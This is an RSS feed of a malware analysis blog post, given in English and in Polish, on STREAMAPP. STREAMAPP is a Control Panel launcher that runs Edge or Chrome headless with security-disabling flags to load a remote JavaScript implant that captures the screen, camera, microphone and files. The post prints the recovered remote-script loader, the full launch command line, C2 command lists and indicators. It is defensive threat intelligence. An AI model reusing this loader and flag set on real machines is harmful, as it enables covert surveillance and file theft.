<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tom on Malware on Medium]]></title>
        <description><![CDATA[Stories by Tom on Malware on Medium]]></description>
        <link>https://medium.com/@tomonmalware?source=rss-8d8f162abb02------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Tom on Malware on Medium</title>
            <link>https://medium.com/@tomonmalware?source=rss-8d8f162abb02------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 06:35:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tomonmalware/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[When the Browser Becomes an Implant: STREAMAPP — a New Tool in Laundry Bear’s Arsenal]]></title>
            <link>https://medium.com/@tomonmalware/when-the-browser-becomes-an-implant-streamapp-a-new-tool-in-laundry-bears-arsenal-a99430d6e557?source=rss-8d8f162abb02------2</link>
            <guid isPermaLink="false">https://medium.com/p/a99430d6e557</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Tom on Malware]]></dc:creator>
            <pubDate>Mon, 16 Mar 2026 11:40:11 GMT</pubDate>
            <atom:updated>2026-07-16T09:09:12.502Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/764/0*ZxQrwwh_ePUDiUcu.png" /></figure><p>At first glance, this sample does not look like a particularly ambitious backdoor. There is no large native beacon, no immediately obvious persistence, and no classic pattern in which a dropper writes an executable, launches the payload, and exits.</p><p><strong>Instead, it does something far more interesting.</strong></p><p>In the analyzed variant, the infection entry point is a .cpl file, that is, a Windows Control Panel item. Technically, a CPL file is a DLL loaded by control.exe. This less obvious extension gives the attacker a credible and low-visibility launcher for subsequent infection stages, and it may also increase the lure’s effectiveness in phishing operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/0*Uljn-VzBhVaxoA89.png" /><figcaption>Infection flow</figcaption></figure><p>In this case, however, the CPL itself is not the actual implant. Its role is to prepare the environment and launch the next, browser-based stage of the compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*0_4cY5M5noR8t7no_74MKg.png" /><figcaption>Process creation flow</figcaption></figure><h3><strong>From a Control Panel applet to a browser-based implant</strong></h3><p>As noted earlier, the CPL is responsible for initiating the infection chain. It creates a local .htm file in the temporary directory, checks whether Microsoft Edge is installed, and falls back to Chrome if it is not. It then builds the final launch command and executes it via WinExec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*mjexIDPBb2VGNtd2HqZ4aQ.png" /><figcaption>Binary flow</figcaption></figure><p>At this stage, it is important to emphasize that key artifacts such as paths, launch parameters, and the payload written to the .htm file are stored as encrypted data blocks. During execution, those blocks are copied into a temporary buffer and decrypted with a simple XOR routine using a cyclic 8-byte key. The mechanism is not cryptographically sophisticated, but it is sufficient to conceal the most important artifacts from basic static analysis.</p><p>The .htm file is created under %TEMP% using a random twelve-character alphanumeric name. Its embedded content is recovered from the encrypted data block.</p><pre>&lt;script&gt;document.write(String.fromCharCode(0x3c,0x21,0x44, ... 0x3e,0xa));&lt;/script&gt;</pre><p>After expanding String.fromCharCode(...), the local file resolves to a minimal HTML loader that pulls a remote script from Pastefy.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;body&gt;<br> &lt;script src=&quot;https[://]pastefy[.]app/B9LUfqZh/raw&quot;&gt;&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>Edge selection and Chrome fallback</strong></p><p>The launcher does not start a browser arbitrarily. One of the decrypted strings is the following registry path: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msedge.exe. The malware checks both HKCU and HKLM, reads the default value, normalizes the resulting path, and verifies that the referenced file exists. If msedge.exe is present, it builds the execution command for Edge; otherwise, it constructs the Chrome variant.</p><p><strong>Command construction and the significance of launch parameters</strong></p><p>The real nature of the sample only becomes apparent after decrypting the strings that form the final command line, composed from a prefix, the path to the .htm file, and a suffix that launches the lure.</p><p>Edge:</p><pre>cmd /c start msedge --headless=new --user-data-dir=&quot;%TEMP%\XE&quot; <br>--auto-select-screen-capture-source=true --use-fake-ui-for-media-stream <br>--no-sandbox --disable-user-media-security --disable-web-security <br>--remote-debugging-port=9222 -remote-allow-origins=* <br>--allow-file-access-from-files &quot;%TEMP%\&lt;[A-Za-z0-9]{12}&gt;.htm&quot; <br>&amp;&amp; start https[://]lnk[.]ua/lZRJggrBK</pre><p>Chrome:</p><pre>cmd /c start chrome --headless=new --user-data-dir=&quot;%TEMP%\XC&quot; <br>--auto-select-screen-capture-source=true --use-fake-ui-for-media-stream <br>--no-sandbox --disable-user-media-security --disable-web-security <br>--remote-debugging-port=9222 -remote-allow-origins=* <br>--allow-file-access-from-files &quot;%TEMP%\&lt;[A-Za-z0-9]{12}&gt;.htm&quot; <br>&amp;&amp; start https[://]lnk[.]ua/lZRJggrBK</pre><p>The selected flags give the attacker extensive capabilities:</p><p>--headless=new launches the browser without the standard UI;<br>--user-data-dir forces a separate profile under %TEMP%, ensuring that all activity takes place outside the victim’s normal browser profile; <br>--remote-debugging-port=9222 enables the Chrome DevTools Protocol, which later turns out to be a key post-exploitation mechanism.</p><p>Most significant, however, are the flags that weaken browser security:</p><p>--allow-file-access-from-files lets a script launched from a local file:// resource access other local resources;<br>--disable-web-security reduces same-origin protections and part of the cross-origin restriction set;<br>--disable-user-media-security weakens security around user media interfaces, especially the camera and microphone; <br>--use-fake-ui-for-media-stream automates approval of camera and microphone access prompts. Finally;<br>--auto-select-screen-capture-source=true removes the need for manual screen source selection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*9rqFThPyDkBUE7R62haw4g.png" /></figure><h3>Then the browser stops behaving like a browser</h3><p>Once the generated .htm file is loaded, it retrieves the actual JavaScript payload from a remote location. That script, obscured by an obfuscation layer, acts as the malicious implant itself. It enables C2 communication over WebSocket, screen and audio capture, and local file access and transfer. <br>*The remainder of the analysis was conducted on refactored code, particularly with regard to variable naming.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bTvB9ZBk90X_jxzQHAMyQ.png" /></figure><p>At startup, the sample first retrieves the actual C2 address to which the WebSocket connection will later be established.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*VM5YbKywASi5hJU-krTnZw.png" /></figure><p>It then initializes its functional components, generates a victim fingerprint, and determines the country code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*tLU7hJUjerV3nS-_m87N6A.png" /></figure><p>This is handled through generateFingerprint() and detectCountry(). The first function checks localStorage under STORAGE_KEY. If a value already exists, it is returned immediately. Otherwise, the malware generates a victim fingerprint based on browser and device characteristics. It uses a canvas fingerprint together with environmental features including screen resolution, color depth, userAgent, browser language, time zone offset, logical CPU core count, and system platform. These values are concatenated into a single string and reduced to a 32-bit hash through a simple deterministic algorithm. The result is then transformed into an 8-character base36 identifier and stored in localStorage, allowing the same client to be recognized across sessions.</p><p>The second function, detectCountry(), derives the country code from the system time zone. The values come from a predefined mapping of time zones to country codes, and when no match is found, the default value US is assigned.</p><p>After these operations, the malware establishes a connection to the C2 server, sends a register message containing the collected client-identifying artifacts, and starts screen streaming.</p><h3>C2 commands used by the implant</h3><ul><li>quality — change screen-stream quality</li><li>quality_camera — change camera-stream quality</li><li>camera_start — initialize the camera</li><li>camera_resume — resume camera capture</li><li>camera_pause — pause camera capture</li><li>camera_stop — stop camera capture</li><li>mic_start — start microphone capture</li><li>mic_stop — stop microphone capture</li><li>mic_noise_suppression — adjust noise suppression</li><li>file_list_request — list a directory</li><li>file_download — read and exfiltrate a file</li><li>file_upload — write a file to the host</li><li>file_scan_recursive — recursively scan files</li><li>archive_download — bulk file transfer</li><li>heartbeat_ack — acknowledge heartbeat messages</li></ul><h3>Message types sent by the client</h3><ul><li>register — client registration</li><li>heartbeat — keepalive signal</li><li>frame — screen frame</li><li>frame_camera — camera frame</li><li>camera_error — camera error</li><li>file_list — directory listing result</li><li>file_data — entire file in one message</li><li>file_chunk — file fragment</li><li>file_complete — end of file transfer</li><li>file_upload_success — file write procedure initiated</li><li>file_error — file operation error</li><li>scan_progress — recursive scan progress</li><li>scan_complete — recursive scan completion</li><li>archive_progress — bulk transfer progress</li><li>archive_file_skipped — skipped file during bulk transfer</li><li>archive_download_complete — bulk transfer completed</li><li>audio_data — microphone audio samples</li><li>mic_started — microphone started</li><li>mic_stopped — microphone stopped</li><li>mic_error — microphone error</li></ul><h3>What matters is under the hood: selected module implementations</h3><p><strong>File browsing module</strong></p><p>The file browsing mechanism is implemented through the main component in cooperation with IframeFileReader.loadDirectory().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*-nDeq8jq-dt5ciiLyWhnaA.png" /></figure><p>After receiving the file_list_request command, the malware normalizes the input path into a file:/// URI and embeds it into a hidden iframe dynamically added to the HTML document. Once the iframe content has loaded, the sample checks whether the contentDocument object is accessible. If access is obtained, it interprets the directory view as an HTML document and begins parsing it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*fifBOcmpby6msL08IgorOQ.png" /></figure><p>In practice, it iterates through table rows (tr) and extracts file and directory names, paths, sizes, and dates. At the same time, it skips technical entries such as [Parent Directory], . and .., so that the result reflects the actual directory contents. The collected data is then packaged into a structure containing fields such as name, full path, whether the entry is a directory, size, and timestamp, and sent back to the server in a file_list message.</p><p><strong>The “uploadFile” module</strong></p><p>The function uploadFile(url, path) is misleadingly named, because it does not upload a file to the server. Its real purpose is to download a file from a remote address and save it locally on the victim host at the specified path. It is triggered after receiving the file_upload command, which contains both the file URL and the destination path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ul3sYTroHBJinIfislsUSw.png" /></figure><p>In the first step, the destination path is normalized into standard Windows format. The sample then connects to the local Chrome/Chromium debugging interface by querying the endpoint http://127.0.0.1:9222/json/version through the CDPClient class. From the response, it extracts the webSocketDebuggerUrl, which is then used to establish a Chrome DevTools Protocol session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*lfcZsub0sTASbBjAJbxzTg.png" /></figure><p>Once connected, it issues Browser.setDownloadBehavior to configure the download directory specified in the path parameter. It then retrieves the list of active browser targets, selects a target of type page, and attaches to it using Target.attachToTarget. Next, it enables the Runtime module and injects JavaScript into the page context to create a hidden &lt;a&gt; element, set its href to the provided URL, and force a click on it. This causes the browser to initiate the download and save the file to the previously configured local directory. It is important to note that the file_upload_success message sent afterward does not confirm that the file has actually finished downloading or that it was written successfully. It only signals that the download procedure has been initiated.</p><h3>Conclusion</h3><p>The analyzed CPL variant acts as a native launcher that prepares the environment for the actual browser-based stage of the infection. In practice, it creates a local .htm file under %TEMP%, recovers key strings and the HTML payload from encrypted data blocks using a simple XOR mechanism, checks for Microsoft Edge through the appropriate registry key, and then launches Edge or Chrome with a set of parameters that weaken Chromium’s standard security protections.<br>The local HTML acts as a loader that fetches a remote JavaScript implant. That script contains the core malicious logic and provides the operator with capabilities related to screen capture, webcam access, microphone audio capture, local file access, and file delivery through the Chrome DevTools Protocol.</p><h3><strong>Attribution</strong></h3><p>Analysis of this sample reveals several meaningful architectural similarities to the PLUGGYAPE malware attributed by <a href="https://cert.gov.ua/article/6286942">CERT-UA</a> to UAC-0190, also known as Laundry Bear / Void Blizzard. In both cases, one can observe the use of an external source for both C2 configuration and delivery of the actual payload, a mechanism for persistent victim identification, and maintenance of a stable communication channel with the server. At the same time, the samples differ in execution context, transport layer, and the scope of stealth and persistence mechanisms. Additional arguments should also be considered, including lure similarities described by <a href="https://lab52.io/blog/drillapp-new-backdoor-targeting-ukrainian-entities-with-possible-links-to-laundry-bear/">LAB52</a>. Based on the above, this activity can be linked to the aforementioned cluster with moderate confidence.</p><h3>Indicators of Compromise</h3><pre>de4bc8a4ed6974e63188954ad3292a6216074bb39557ffe787d4c3f89066d1db : № 09-14-111-і.cpl<br>975E4C4625437399F628F267652C15C58BC22F096CE60AE1033694B9BC824F63 <br>https[://]pastefy[.]app/B9LUfqZh/raw<br>https[://]pastefy[.]app/8gkXtCq0/raw<br>https[://]lnk[.]ua/lZRJggrBK<br>http[://]193.23.199[.]14/%D0%902896/%E2%84%96%2018-14-111-%D1%96.pdf<br>ws[://]80.89.224[.]13:6341<br><br><br>9ed12fc54a31644ca906dad2710b993ed1fe71f19cc8ffd7693884f821b827e1 : 10-14-111-%D1%96.zip<br>a04311c5c165f16ee7b746d4253c2c9499ab34fca00e159b598c02ba6170d3a3 : 10-14-111-і.cpl<br>6fea579685d2433cedb1c32ef704575dcbc1d0a623769e824023ffccd0dedaae<br>https[://]lnk[.]ua/GYQ3X1RqO<br>http[://]ngu[.]kh[.]ua/A7052/10-14-111-%D1%96.zip<br>http[://]ngu[.]kh[.]ua/1536/10-14-111-%D1%96.pdf<br>https[://]pastefy[.]app/nkjTcFw3/raw<br></pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a99430d6e557" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kiedy przeglądarka staje się implantem: STREAMAPP - nowe narzędzie w arsenale Laundry Bear]]></title>
            <link>https://medium.com/@tomonmalware/kiedy-przegl%C4%85darka-staje-si%C4%99-implantem-streamerapp-nowe-narz%C4%99dzie-w-arsenale-laundry-bear-269de10c1ded?source=rss-8d8f162abb02------2</link>
            <guid isPermaLink="false">https://medium.com/p/269de10c1ded</guid>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Tom on Malware]]></dc:creator>
            <pubDate>Sun, 15 Mar 2026 16:11:06 GMT</pubDate>
            <atom:updated>2026-03-16T09:00:13.540Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*86dpd_mOZUUXAcHUNobM2w.png" /></figure><p>Na pierwszy rzut oka ta próbka nie wygląda jak szczególnie ambitny backdoor. Nie ma tu wielkiego natywnego beacona, nie ma od razu oczywistej persystencji, nie ma też klasycznego schematu: „dropper zapisuje EXE, odpala payload i kończy robotę”.</p><p><strong>Zamiast tego robi coś znacznie ciekawszego.</strong></p><p>W analizowanym wariancie punkt wejścia infekcji stanowi plik .cpl, czyli aplet Panelu sterowania systemu Windows. Technicznie rzecz biorąc, CPL jest biblioteką DLL ładowaną przez control.exe. Nieoczywiste rozszerzenie daje atakującemu wiarygodny i mało rzucający się w oczy launcher dla dalszych etapów infekcji, a także może zwiększać jego skuteczność jako ładunku phishingowego.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z-tv1Y4hVL6zjd2_EE6PZQ.png" /></figure><p>W tym przypadku sam CPL nie jest właściwym implantem. Jego zadaniem jest przygotowanie środowiska i uruchomienie kolejnego, „przeglądarkowego” etapu zakażenia.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*0_4cY5M5noR8t7no_74MKg.png" /><figcaption>Full chain process creation flow</figcaption></figure><h3>Od apletu Panelu sterowania do browser-based implant</h3><p>Jak wcześniej wspomniano, CPL jest odpowiedzialny za zainicjowanie procesu zakażenia. Tworzy on lokalny plik .htm w katalogu tymczasowym. Następnie sprawdza, czy w systemie znajduje się Microsoft Edge. Jeżeli nie, przełącza się na Chrome. Potem składa finalną komendę uruchomieniową i wykonuje ją przez WinExec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*nGiJuqoVEHxzrdPHY_FBDQ.png" /><figcaption>Binary flow</figcaption></figure><p>W tym miejscu warto podkreślić, że kluczowe artefakty, takie jak ścieżki, parametry uruchomieniowe oraz payload zapisywany do pliku .htm, są przechowywane w postaci zaszyfrowanych bloków danych, które podczas wykonania są kopiowane do bufora tymczasowego, a następnie odszyfrowywane prostym XOR-em z cyklicznym kluczem 8-bajtowym. Mechanizm nie jest kryptograficznie złożony, ale skutecznie ukrywa najważniejsze artefakty przed prostą analizą statyczną.<br>Plik .htm tworzony jest w %TEMP% pod losową nazwą złożoną z dwunastu znaków alfanumerycznych. Poniżej zaprezentowano zawartość w nim umieszczoną, która jest odzyskiwana z zaszyfrowanego bloku danych:</p><pre>&lt;script&gt;document.write(String.fromCharCode(0x3c,0x21,0x44, ... 0x3e,0xa));&lt;/script&gt;</pre><p>Po rozwinięciu String.fromCharCode(...) otrzymujemy właściwą treść lokalnego pliku:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;body&gt;<br> &lt;script src=&quot;https[://]pastefy[.]app/B9LUfqZh/raw&quot;&gt;&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>Wybór Edge i fallback do Chrome</strong></p><p>Launcher nie uruchamia przeglądarki w sposób przypadkowy. Jednym z odszyfrowanych stringów jest ścieżka rejestru:<br>SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ msedge.exe<br>Jest ona sprawdzana w HKCU i HKLM, odczytuje domyślną wartość, normalizuje ścieżkę i weryfikuje obecność wskazanego pliku. Jeżeli msedge.exe istnieje, przechodzi do budowy komendy uruchomienia dla Edge, a w przeciwnym razie buduje komendę dla Chrome.</p><p><strong>Budowa komendy i znaczenie parametrów uruchomieniowych</strong></p><p>Właściwy charakter próbki ujawnia się dopiero po odszyfrowaniu stringów budujących finalną komendę — poprzez połączenie prefiksu, ścieżki do pliku .htm i suffixu z komendą do uruchomienia lure.</p><p>Edge:</p><pre>cmd /c start msedge --headless=new --user-data-dir=&quot;%TEMP%\XE&quot; <br>--auto-select-screen-capture-source=true --use-fake-ui-for-media-stream <br>--no-sandbox --disable-user-media-security --disable-web-security <br>--remote-debugging-port=9222 -remote-allow-origins=* <br>--allow-file-access-from-files &quot;%TEMP%\&lt;[A-Za-z0-9]{12}&gt;.htm&quot; <br>&amp;&amp; start https[://]lnk[.]ua/lZRJggrBK</pre><p>Chrome:</p><pre>cmd /c start chrome --headless=new --user-data-dir=&quot;%TEMP%\XC&quot; <br>--auto-select-screen-capture-source=true --use-fake-ui-for-media-stream <br>--no-sandbox --disable-user-media-security --disable-web-security <br>--remote-debugging-port=9222 -remote-allow-origins=* <br>--allow-file-access-from-files &quot;%TEMP%\&lt;[A-Za-z0-9]{12}&gt;.htm&quot; <br>&amp;&amp; start https[://]lnk[.]ua/lZRJggrBK</pre><p>Właściwie dobrane parametry umożliwiają atakującemu uzyskanie pokaźnych możliwości:</p><ul><li>--headless=new uruchamia browser bez klasycznego interfejsu;</li><li>--user-data-dir wymusza odrębny profil w %TEMP%, dzięki czemu cała aktywność odbywa się poza normalnym profilem użytkownika;</li><li>--remote-debugging-port=9222 aktywuje Chrome DevTools Protocol, który później okazuje się istotnym elementem post-exploitation;</li></ul><p>Najważniejsze są jednak flagi osłabiające bezpieczeństwo:</p><ul><li>--allow-file-access-from-files pozwala skryptowi uruchomionemu z lokalnego pliku file:// odwoływać się do innych lokalnych zasobów;</li><li>--disable-web-security ogranicza ochrony same-origin i część restrykcji cross-origin;</li><li>--disable-user-media-security osłabia zabezpieczenia wokół interfejsów mediów użytkownika, czyli przede wszystkim kamery i mikrofonu;</li><li>--use-fake-ui-for-media-stream automatyzuje akceptację żądań dostępu do kamery i mikrofonu;</li><li>--auto-select-screen-capture-source=true eliminuje potrzebę ręcznego wyboru źródła przechwytywania ekranu.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*9rqFThPyDkBUE7R62haw4g.png" /></figure><p><strong>Potem przeglądarka przestaje zachowywać się jak przeglądarka</strong></p><p>Poprzez załadowanie tworzonego pliku .htm pobierany jest ze zdalnej lokalizacji właściwy JavaScript, zaciemniony warstwą obfuskacji. To on pełni funkcję złośliwego implantu i daje możliwość komunikacji z serwerem C2 z wykorzystaniem WebSocket, przechwytywania obrazu i dźwięku oraz odczytu i transferu plików.</p><p>** Dalsza część analizy został zrealizowana na podstawie kodu po refaktoryzacji, w zakresie nazewnctwa zmiennych.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bTvB9ZBk90X_jxzQHAMyQ.png" /></figure><p>Podczas uruchomienia próbka w pierwszej kolejności pobiera właściwy adres C2, z którym następnie ma zostać ustanowione połączenie WebSocket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*VM5YbKywASi5hJU-krTnZw.png" /></figure><p>Następnie inicjalizowane są wszystkie komponenty funkcjonalne, po czym generowany jest fingerprint ofiary oraz określany jest kod kraju.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*tLU7hJUjerV3nS-_m87N6A.png" /></figure><p>Realizowane jest to za pomocą funkcji generateFingerprint() oraz detectCountry(). Pierwsza z nich najpierw próbuje odczytać wartość z localStorage spod klucza STORAGE_KEY. Jeżeli wartość już istnieje, zostaje natychmiast zwrócona. W przeciwnym wypadku funkcja przechodzi do generowania fingerprintu ofiary na podstawie cech przeglądarki i urządzenia. W tym celu wykorzystywany jest odcisk canvas oraz zestaw cech środowiskowych obejmujący rozdzielczość i głębię kolorów ekranu, userAgent, język przeglądarki, offset strefy czasowej, liczbę logicznych rdzeni CPU oraz platformę systemową. Zebrane wartości są łączone w jeden łańcuch znaków, a następnie redukowane do 32-bitowego hasha za pomocą prostego deterministycznego algorytmu. Otrzymany wynik zostaje przekształcony do postaci 8-znakowego identyfikatora w formacie base36 i zapisany w localStorage, co umożliwia ponowne rozpoznanie tego samego klienta w kolejnych sesjach.</p><p>Druga funkcja, detectCountry(), określa kod kraju na podstawie strefy czasowej ustawionej w systemie. Wartości te pobierane są ze zdefiniowanej wcześniej mapy stref czasowych do kodów państw, a w przypadku braku dopasowania ustawiana jest wartość domyślna US.</p><p>Po wykonaniu tych operacji dochodzi do ustanowienia połączenia z serwerem C2, a następnie przesyłana jest wiadomość register, zawierająca zgromadzone artefakty identyfikujące klienta, i zostaje uruchomiony streaming ekranu.</p><p><strong>Wykorzystywane polecenia C2:</strong></p><ul><li>quality — zmiana jakości streamu ekranu,</li><li>quality_camera — zmiana jakości streamu kamery,</li><li>camera_start — inicjalizacja kamery,</li><li>camera_resume — wznowienie kamery,</li><li>camera_pause — wstrzymanie kamery,</li><li>camera_stop — zatrzymanie kamery,</li><li>mic_start — uruchomienie mikrofonu,</li><li>mic_stop — zatrzymanie mikrofonu,</li><li>mic_noise_suppression — zmiana redukcji szumu,</li><li>file_list_request — listowanie katalogu,</li><li>file_download — odczyt i wysyłka pliku,</li><li>file_upload — zapis pliku na hoście,</li><li>file_scan_recursive — rekursywne skanowanie plików,</li><li>archive_download — zbiorczy transfer plików,</li><li>heartbeat_ack — odpowiedź na komunikat heartbeat.</li></ul><p><strong>Wykorzystywane typy komunikatów wysyłanych przez klienta:</strong></p><ul><li>register — rejestracja klienta,</li><li>heartbeat — sygnał podtrzymania połączenia,</li><li>frame — klatka ekranu,</li><li>frame_camera — klatka z kamery,</li><li>camera_error — błąd kamery,</li><li>file_list — wynik listowania katalogu,</li><li>file_data — cały plik w jednej wiadomości,</li><li>file_chunk — fragment pliku,</li><li>file_complete — zakończenie transferu pliku,</li><li>file_upload_success — rozpoczęcie zapisu pliku,</li><li>file_error — błąd operacji plikowej,</li><li>scan_progress — postęp skanowania rekursywnego katalogów,</li><li>scan_complete — zakończenie skanowania rekursywnego katalogów,</li><li>archive_progress — postęp transferu zbiorczego,</li><li>archive_file_skipped — pominięty plik podczas transferu zbiorczego,</li><li>archive_download_complete — zakończenie transferu zbiorczego,</li><li>audio_data — próbki audio z mikrofonu,</li><li>mic_started — uruchomienie mikrofonu,</li><li>mic_stopped — zatrzymanie mikrofonu,</li><li>mic_error — błąd mikrofonu.</li></ul><p><strong>Liczy się wnętrze — ciekawe implementacje wybranych modułów.</strong></p><p><strong>Moduł przeglądania plików<br></strong>Mechanizm przeglądania plików jest realizowany przez właściwy komponent we współpracy z klasą IframeFileReader.loadDirectory().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*-nDeq8jq-dt5ciiLyWhnaA.png" /></figure><p>Po otrzymaniu z serwera komendy file_list_request realizowana jest normalizacja ścieżki wejściowej do postaci URI file:///, a następnie osadzana jest ona w ukrytym elemencie iframe, dodawanym dynamicznie do dokumentu HTML.Po załadowaniu zawartości iframe próbka sprawdza, czy dostępny jest obiekt contentDocument. Jeżeli dostęp zostanie uzyskany, kod interpretuje widok katalogu jako dokument HTML i rozpoczyna jego parsowanie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*fifBOcmpby6msL08IgorOQ.png" /></figure><p>W praktyce wykonywane jest przeszukiwanie wierszy tabeli (tr), z których odczytywane są nazwy plików i katalogów, ich ścieżki, rozmiary oraz daty. Jednocześnie pomijane są wpisy techniczne, takie jak [Parent Directory], . oraz .., aby wynik odpowiadał rzeczywistej zawartości katalogu.<br>Tak uzyskane dane są następnie pakowane do struktury zawierającej m.in. nazwę, pełną ścieżkę, informację o tym, czy dany wpis jest katalogiem, rozmiar oraz datę, po czym odsyłane do serwera w komunikacie file_list.</p><p><strong>Moduł “uploadFile” <br></strong>Funkcja uploadFile(url, path) jest nazwana myląco, ponieważ w rzeczywistości nie realizuje uploadu pliku do serwera. Jej faktycznym celem jest pobranie wskazanego pliku z adresu zdalnego i zapisania go lokalnie na hoście ofiary we wskazanej lokalizacji. Funkcja ta jest wywoływana po otrzymaniu komendy file_upload, zawierającej adres URL pliku oraz ścieżkę docelową.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ul3sYTroHBJinIfislsUSw.png" /></figure><p>W pierwszym kroku ścieżka docelowa jest normalizowana do formatu charakterystycznego dla systemu Windows. Następnie próbka nawiązuje połączenie z lokalnym interfejsem debugowym Chrome/Chromium, odwołując się do endpointu http://127.0.0.1:9222/json/version przy użyciu klasy CDPClient. Z odpowiedzi pobierany jest adres webSocketDebuggerUrl, który służy do zestawienia sesji z Chrome DevTools Protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*lfcZsub0sTASbBjAJbxzTg.png" /></figure><p>Po uzyskaniu połączenia wykonywane jest polecenie Browser.setDownloadBehavior, za pomocą którego ustawiany jest katalog pobierania wskazany w parametrze path. Następnie klient pobiera listę aktywnych targetów przeglądarki, wybiera target typu page i dołącza się do niego przy użyciu Target.attachToTarget. W dalszej kolejności włączany jest moduł Runtime, a do kontekstu strony wstrzykiwany jest kod JavaScript tworzący ukryty element &lt;a&gt;, ustawiający jego href na wskazany URL i wymuszający kliknięcie.<br>Taki mechanizm powoduje, że przeglądarka inicjuje pobranie pliku i zapisuje go do wcześniej ustawionego katalogu lokalnego. Należy podkreślić, że wysyłany po tej operacji komunikat file_upload_success nie stanowi potwierdzenia faktycznego zakończenia pobierania ani poprawnego zapisu pliku, lecz jedynie informację o uruchomieniu procedury pobrania.</p><h3>Podsumowanie</h3><p>Analizowany wariant CPL pełni rolę natywnego launchera, który przygotowuje środowisko dla właściwego, przeglądarkowego etapu infekcji. W praktyce tworzy on lokalny plik .htm w katalogu %TEMP%, odzyskuje z zaszyfrowanych bloków danych kluczowe stringi i payload HTML przy użyciu prostego mechanizmu XOR, sprawdza obecność Microsoft Edge przez właściwy klucz w rejestrze, a następnie uruchamia Edge lub Chrome z zestawem parametrów osłabiających standardowe mechanizmy bezpieczeństwa Chromium. Lokalny HTML jest loaderem pobierającym zdalny JavaScript, który przejmuje właściwą logikę działania i udostępnia operatorowi funkcje związane z przechwytywaniem ekranu, obrazu z kamery, dźwięku z mikrofonu, dostępem do lokalnych plików oraz możliwością dosyłania plików przez Chrome DevTools Protocol.</p><h3>Atrybucja</h3><p>Analizując powyższą próbkę można zauważyć pewne istotne podobieństwa architektoniczne do malware PLUGGYAPE atrybuowanego przez <a href="https://cert.gov.ua/article/6286942">CERT-UA</a> do UAC-0190 aka Laundry Bear / Void Blizzard.<br>W obu przypadkach zaobserwowano m. in. wykorzystanie zewnętrznego źródła konfiguracji C2 i dostarczenia właściwego ładunku, mechanizmu trwałej identyfikacji ofiary, utrzymywania stałego kanału komunikacyjnego z serwerem. Jednocześnie próbki różnią się kontekstem wykonania, warstwą transportową oraz zakresem mechanizmów stealth i persystencji. Ponadto wziąć pod uwagę dodatkowe argumenty tj. podobieństwo lure opisane w artylule <a href="https://lab52.io/blog/drillapp-new-backdoor-targeting-ukrainian-entities-with-possible-links-to-laundry-bear/">LAB52</a>. Zwarzając na powyższe należy łączyć powyższą aktywność ze średnim prawdopodobieństwem do wspoknianego klastra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DYS1aUX6b_ZGH0hyPPCMxw.png" 